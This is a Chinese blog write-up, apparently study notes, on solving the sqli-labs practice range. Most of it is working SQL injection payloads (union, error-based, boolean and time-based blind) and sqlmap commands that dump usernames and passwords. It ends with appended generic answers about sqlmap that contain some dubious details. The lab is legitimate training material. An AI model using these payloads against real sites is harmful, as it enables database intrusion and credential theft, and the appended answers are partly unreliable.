sqllab靶场通过,及sql注入总结(注入点,sqlmap使用)

Sql注入笔记

思维导图

注入类型

普通注入

报错注入

盲注

SQL写马注入

普通注入

靶场练习

https://github.com/Audi-1/sqli-labs

注入流程

1,通过and 1=1得到报错类型(int,string)

2,得到闭合方式,order by 猜测数据库字段数

3.得到union的select列数,group by

4,得到回显位置

union注入

库:union select 1,2,database()

表:union select 1,2,group_concat(table_name) from information_shcema.tables where table_schema=database()

字段:union select 1,2,group_concat(column_name) from information_schema.columns where table_column='users' and table_schema=database()

字段内容: union select 1,2,group_concat(username,password) from users

报错注入:

1.extractvalue报错:

extractvalue(1,concat('~',(select...))

库:?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(database(),1,10))))--+

表:?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),20,23)from information_schema.tables where table_schema=database())))--+

字段:?id=100' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(column_name),1,30) from information_schema.columns where table_name='users' and table_schema='security')))--+

字段内容:?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,20)from users)))--+

靶场示例

http://sql/Less-1/?id=1 and 1=2

得到注入类型为string

http://sql/Less-1/?id=1”   未报错

http://sql/Less-1/?id=1’    报错

http://sql/Less-1/?id=1’--+   未报错判断回显方式

得到单引号未闭合方式

order by猜测

http://sql/Less-1/?id=1' order by 3--+

http://sql/Less-1/?id=1' order by 4--+

union select  得到回显字段位置

http://sql/Less-1/?id=-1' union select 1,2,3 --+

http://sql/Less-1/?id=-1' union select 1,database(),version() --+

database()得到数据库version() 得到数据库版本

group_concat(table_name)得到对应数据库的表名

http://sql/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

查看到users的字段

http://sql/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

查看字段内容

http://sql/Less-1/?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

报错注入

原理及函数

报错注入:

1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。

2. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。

3. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

2.updataxml报错:

updataxml(1,2,3)同上

库:?id=1" and 1=updatexml(1,concat(0x7e,(select substring(database(),1,10))),3)--+

表:?id=1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,23)from information_schema.tables where table_schema=database())),3)--+

字段:?id=1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,30) from information_schema.columns where table_name='users' and table_schema='security')),3)--+

字段内容:?id=-1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,20)from users)),3)--+

less_6,less_5,floor报错注入

爆用户

库:?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+

表:?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+

字段:?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(0)*2)) as a from information_schema.tables group by a--+

字段内容:?id=-1' union select 1,count(*),concat_ws('-',(select concat(username,'~',password)from users limit 1,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+

靶场示例:

报错注入得到数据库

http://sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

http://sql/Less-5/?id=1' and 1=updatexml(1,concat(0x7e,(select substring(database(),1,30))),3)--+

http://sql/Less-5/?id=1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,23)from information_schema.tables where table_schema=database())),3)--+

字段

http://sql/Less-5/?id=1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,30) from information_schema.columns where table_name='users' and table_schema='security')),3)--+

字段值

http://sql/Less-5/?id=-1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30)from users)),3)--+

布尔盲注(第8关)

概念:

这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据

利用上面的那些函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值

通俗的讲就分为正确和错误

判断数据库长度

流程:

第一步:注入点测试

第二步:猜数据库名长度

第三步:猜数据库名(ASCII)

第四步:猜表名

第五步:猜字段名

第六步:猜数据

http://sql/Less-8/?id=1' and (select length(database())>1) and 1=1  --+ true

猜测数据库的名字(第几个的ASCII值)

http://sql/Less-8/?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true

猜表长(第3+1个表的长度为几)

id=1' and length(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1))=5--+

猜表名猜第四个表的首字母

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=115--+

猜字段(猜第一个字段的字母)

id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117--+

猜数据(第一行的)

http://sql/Less-8/?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))<80--+

通常用二分法写python脚本判断,或者sqlmap跑结果

python sqlmap.py -u “http://sql/Less-8/?id=1” --dbs

时间盲注(第9关)

通关加载页面是否延迟对到结果--sleep函数

第一步:注入点测试

第二步:猜数据库名长度

第三步:猜数据库名(ASCII)

第四步:猜表名

第五步:猜字段名

第六步:猜数据

  1. 判断版本

http://sql/Less-9/?id=1'and if(substr(version(),1,1)=5,sleep(4),null) --+

  1. 判断数据库长度

http://sql/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

3、判断数据库(第一个字母ASCII)

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

4、判断表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+

  1. 判断字段

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=101,sleep(5),1) --+

6、判断字段内容

?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1) --+

Sqlmap通关sqllab教程

工具sqlmap跑结果流程

1、判断注入点

python sqlmap.py -u http://sql/Less-1/?id=-1%27

或对抓包的txt文件进行操作

python sqlmap.py -r D:\桌面\r.txt

上述说明存在注入点

2、得到数据库

python sqlmap.py -u “http://sql/Less-2/?id=1” --dbs

爆破当前数据库

3、得到表

python sqlmap.py -u “http://sql/Less-2/?id=1” -D security --tables --dump

获取数据库对应的表

4、得到字段

python sqlmap.py -u “http://sql/Less-2/?id=1” -D security -T users --columns --dump

获取数据库对应的字段

5、得到字段内容

python sqlmap.py -u “http://sql/Less-2/?id=1” -D security -T users -C username,password --dump

接着的1-9关

都可以用该操作语句得到结果

python sqlmap.py -u “http://sql/Less-9/?id=1” --dbs

第10关提高level和risk来提高成功率

python sqlmap.py -u “http://sql/Less-9/?id=1” -level=2 --dbs

第11-17关POST抓包

python sqlmap.py -r D:\桌面\r.txt --dbs

通过页面回显值判断注入点

第18关

在ua头中存在注入点

python sqlmap.py -u “http://sql/Less-18/ --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs

第19关

python sqlmap.py -u “http://sql/Less-19/ --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs

第20关

手工:

登录成功后

python sqlmap.py -u http://sql/Less-20/ --cookie="uname=*" --dbs

第21关

手工:

=的url编码为%3D

') union select 1,2,database() #   进行base64编码

Sqlmap  --tamper 解码

python sqlmap.py -u http://sql/Less-21/ --cookie="uname=*" --dbs --tamper "base64encode.py"

第22关

修改了闭合方式   “

Sqlmap:

python sqlmap.py -u http://sql/Less-21/ --cookie="uname=*" --dbs --tamper "base64encode.py"

### 回答1: SQLMap是一个开源的SQL注入自动化工具,可以帮助你通过SQLi-Labs靶场使用SQLMap,你需要熟悉基本的命令行语法,并了解SQL注入的基本原理。为了使用SQLMap通过SQLi-Labs靶场,你可以尝试使用以下命令: ``` sqlmap -u <target URL> --dbs ``` 这将列出数据库列表。接下来,你可以使用以下命令枚举数据表: ``` sqlmap -u <target URL> -D <database name> --tables ``` 最后,你可以使用以下命令读取数据表中的数据: ``` sqlmap -u <target URL> -D <database name> -T <table name> --dump ``` 请注意,在实际渗透测试中,使用SQLMap和其他工具需要遵循道德准则和法律规定。 ### 回答2: SQL注入是目前常见的一种攻击方式,它很容易对基于SQL的Database进行利用,最终获取Database中的敏感信息。为了更好地理解SQL注入攻击方式,学习和了解其渗透测试方式非常必要。而sqli-labs是一款SQL injection实验环境,旨在用来提高SQL技术的实际应用能力和渗透测试的技能。 在sqli-labs中,存在很多漏洞类型需要渗透测试,通过这些漏洞攻击我们可以得到不同的信息。要完成这些测试,我们需要一个工具来探测一个web应用程序中的SQL注入漏洞,这个工具就是SQLMAPSQLMAP工具是一个开源工具,用Python语言编写,接受界面式和命令行调用方式,功能非常强大。 下面是sqlmap通关sqli-labs靶场的步骤: 1. 下载并安装SQLMAP SQLMAP安装包的下载可以到官方网站上下载,或者使用Git Clone命令克隆仓库。安装过程中,需要依赖Python环境,所以需要先安装Python环境。 2. 下载sqli-labs sqli-labs的下载可以从官方网站或者GitHub上下载,解压并配置好环境。 3. 识别目标网站 使用命令行工具,进入SQLMAP所在的目录,输入命令:`python sqlmap.py -u <target-url>`,其中,target-url指的是sqli-labs中的URL。 4. 扫描漏洞 使用命令来扫描不同的漏洞,比如:`python sqlmap.py -u <target-url> --dbs`,表示对目标URL进行数据库的探测。 5. 选择漏洞 通过返回的扫描结果,选择需要攻击的漏洞。 6. 进行攻击 对选择的漏洞进行攻击,使用命令:`python sqlmap.py –-tamper=space2mysql -u <target-url> -p <vuln-field> --dbs`,其中,tamper参数是选用的注入脚本,space2mysql就是其中一个比较好用的注入脚本之一,vuln-field指的是目标网站的漏洞。 7. 数据库探测和获取数据 通过命令:`python sqlmap.py -u <target-url> --dbs`获取到可用的数据库,再使用命令:`python sqlmap.py -u <target-url> -D databaseName -T tableName --dump`来获取表中的数据。 通过上述步骤,sqlmap就可以在sqli-labs的攻击和测试中展示其强大的功能。需要注意的是,任何时候针对他人的web应用程序进行测试之前,务必获得允许进行渗透测试的正式授权。 ### 回答3: SQL注入是一种常见的安全漏洞,黑客可以利用它来攻击网站。为了更好地了解和防范这种攻击,我们可以通过搭建sqli-labs靶场来进行学习和实践,而SQLmap则是一款自动化SQL注入工具,可以大大提高注入的效率。现在,我将详细介绍如何通过SQLmap通关sqli-labs靶场。 第一步:下载sqli-labs和SQLmap 首先,我们需要先下载本地的sqli-labs靶场SQLmap工具。sqli-labs靶场可以从GitHub上下载,而SQLmap工具则可以从官网或GitHub上下载。 第二步:启动sqli-labs 我们需要启动sqli-labs靶场,进入其对应的文件夹中,运行命令“sudo ./logstart.sh”即可启动。 第三步:寻找sqli-labs中的注入漏洞 接下来,我们需要寻找sqli-labs中的注入漏洞,这可以通过用浏览器访问sqli-labs的web应用程序来完成。我们可以利用输入一些特殊符号来调用SQL语句,并观察服务器的返回结果。如果返回结果与预期不符,则可能存在注入漏洞。 第四步:使用SQLmap进行注入攻击 现在,我们已经找到存在漏洞的地方了,接下来就是使用SQLmap进行注入攻击。在命令行中输入“python sqlmap.py -u [漏洞URL] --dbs”即可进行漏洞测试。如果存在注入漏洞,则SQLmap会在其中进行攻击并自动检测到被攻击的数据库。 第五步:进一步利用SQLmap 此时,我们已经成功地利用SQLmap进行了注入攻击,接下来可以进一步利用SQLmap进行数据抓取、渗透等操作。我们可以通过输入“python sqlmap.py -u [漏洞URL] -D [数据库名] -T [表名] --dump”来进行数据抓取操作,获取数据并进行进一步的分析。 总结: 通过以上步骤,我们可以利用SQLmap成功地通关sqli-labs靶场。值得注意的是,在进行学习和实践过程中,一定要注意合法性和安全性,避免非法入侵和攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值